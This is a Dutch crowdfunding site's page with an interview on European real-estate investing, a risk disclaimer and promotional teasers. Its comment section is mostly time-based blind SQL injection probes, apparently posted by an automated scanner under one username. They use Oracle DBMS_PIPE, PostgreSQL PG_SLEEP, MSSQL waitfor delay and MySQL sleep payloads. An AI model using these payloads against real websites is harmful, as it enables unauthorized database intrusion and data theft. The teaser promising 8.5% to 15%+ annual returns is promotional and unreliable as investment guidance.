Wat is crowdfunding? Zo werkt het, soorten en risico's
Wat is crowdfunding? Een heldere gids: hoe het werkt, de soorten (reward, aandelen, leningen, vastgoed), de EU-regels en de risico's voor beleggers.
- Crowdfunding
- Investing
Interview
Is het een goed moment om te investeren in crowdfunding voor onroerend goed?
Vastgoed wordt beschouwd als een van de veiligste investeringen, maar is dat ook zo in de huidige omstandigheden?
Delen
We vragen Janis Ozols, Partner bij Colliers, Valuation and Advisory.
De wereldeconomie ervaart een hoge volatiliteit en onzekerheid gegarneerd met een hoge inflatie.
Op zulke momenten is investeren cruciaal om de waarde van je spaargeld niet te verliezen, maar waar moet je investeren? Vastgoed wordt beschouwd als een van de veiligste investeringen, maar is dat ook zo in de huidige omstandigheden? We vragen het Janis Ozols, Partner bij Colliers, Valuation and Advisory.
Wat is de huidige staat van de Europese vastgoedmarkt gezien de impact van de crisis en de oorlog in Oekraïne?
Na de eerste schok lijken marktdeelnemers - zowel privé als zakelijk - in een gemoedstoestand te zijn beland dat het leven en zakendoen gewoon door moeten gaan. We moeten in gedachten houden dat het beschikbare kapitaal nog steeds op recordhoogte is en op zoek is naar mogelijkheden om te worden ingezet. Met de hoge inflatie neemt de drang en het verlangen om eigen vermogen om te zetten in activa nog meer toe.
En plotseling zijn energie-efficiëntie en duurzaamheid niet langer iets leuks om over na te denken, maar een dringende kwestie die moet worden aangepakt.
Naderen de vastgoedprijzen een kunstmatige prijspiek en wat zal er gebeuren als de situatie normaliseert?
Ik zou me willen onthouden van uitspraken over de vraag of we op een piek zitten of niet. Vertrouwen op vermogensgroei op de korte termijn is altijd riskant. Je moet het langetermijnperspectief begrijpen. En dat verschilt waarschijnlijk per sector van de vastgoedmarkt en per regio.
Is het in de huidige situatie een goed idee om in vastgoed te investeren en zo ja, in welk type (ontwikkeling, kopen om te verhuren, commercieel/verhuur)?
Als je eigen vermogen op de bank hebt staan, dan is een pand dat huurinkomsten oplevert zeker een verleidelijke optie. Op voorwaarde dat het past bij je risicoprofiel.
Woningverhuur en logistieke activa zijn momenteel in de trend. Er is ook vraag naar kantoren en naar bepaalde (maar niet alle) segmenten van winkelvastgoed. Velen zien verleidelijke mogelijkheden in de horeca.
Kapitaal in gevaar. Crowdfundingbeleggingen vallen niet onder het depositogarantiestelsel, kunnen een deel of alles van hun waarde verliezen en zijn vóór het einde van de looptijd soms moeilijk te verkopen. Deze gids is informatie, geen persoonlijk beleggingsadvies.
Was dit nuttig?
Vind ik leuk · 0
Eugene Sokolovs Expert
Founder of Crowdinform
Lees verder
Video
🏰 Bouw je eigen Europese vastgoedimperium op… met je lunchgeld 🥪
Vandaag kun je al beginnen met slechts €100 — ongeveer de prijs van een lekker etentje — en met slechts een paar duizend euro een gediversifieerde vastgoedportefeuille opbouwen in heel Europa 🌍, waarmee je een jaarlijks rendement van 8,5% tot 15%+ kunt behalen.
Je kunt nu al in SpaceX, Stripe en Mistral beleggen voordat ze naar de beurs gaan — zo werkt het
Decennialang vonden de grootste beleggingswinsten achter gesloten deuren plaats. Dat is nu niet meer het geval.
- Investing in Startups
Reacties · 24
KkEMlzpAX
555
KkEMlzpAX
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
KkEMlzpAX
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
KkEMlzpAX
555X0CUQDwY')) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
KkEMlzpAX
555wbG8V5yx') OR 985=(SELECT 985 FROM PG_SLEEP(15))--
KkEMlzpAX
555T1DXnocJ' OR 497=(SELECT 497 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1)) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1 OR 324=(SELECT 324 FROM PG_SLEEP(15))--
KkEMlzpAX
555MIk6zzQ8'; waitfor delay '0:0:15' --
KkEMlzpAX
555-1 waitfor delay '0:0:15' --
KkEMlzpAX
555-1); waitfor delay '0:0:15' --
KkEMlzpAX
555-1; waitfor delay '0:0:15' --
KkEMlzpAX
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
KkEMlzpAX
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
KkEMlzpAX
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
KkEMlzpAX
555*if(now()=sysdate(),sleep(15),0)
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555
KkEMlzpAX
555-1)) OR 438=(SELECT 438 FROM PG_SLEEP(15))--
KkEMlzpAX
555
KkEMlzpAX
555MjelpxhN' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
KkEMlzpAX
555-1; waitfor delay '0:0:15' --